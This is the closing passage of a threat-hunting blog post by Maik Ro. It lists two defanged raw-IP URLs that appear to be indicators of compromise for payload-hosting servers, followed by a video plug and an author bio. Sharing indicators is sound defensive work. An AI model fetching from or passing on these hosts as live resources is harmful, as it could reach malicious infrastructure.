http[:]//45.74.19.84/xampp/bkp/js_bkp.jpg |
http[:]//172.245.214.91/base64droid.txt |
PS.: if you read until here you are my favorite! Also, I am filming the whole process right now but won't be able to publish it before the post goes out so feel free to check out the YouTube channel for a video walkthrough in the next day(s):
https://youtube.com/@maikroservice
THX 💜 and happy Hunting 🎯
Subscribe to my newsletter
Read articles from Maik Ro directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
Maik Ro
Maik Ro
Cyber Security my passion. On this blog I am sharing how to detect adversaries with a Purple Team mindset - hack your own applications like an attacker would, to understand how to better protect them.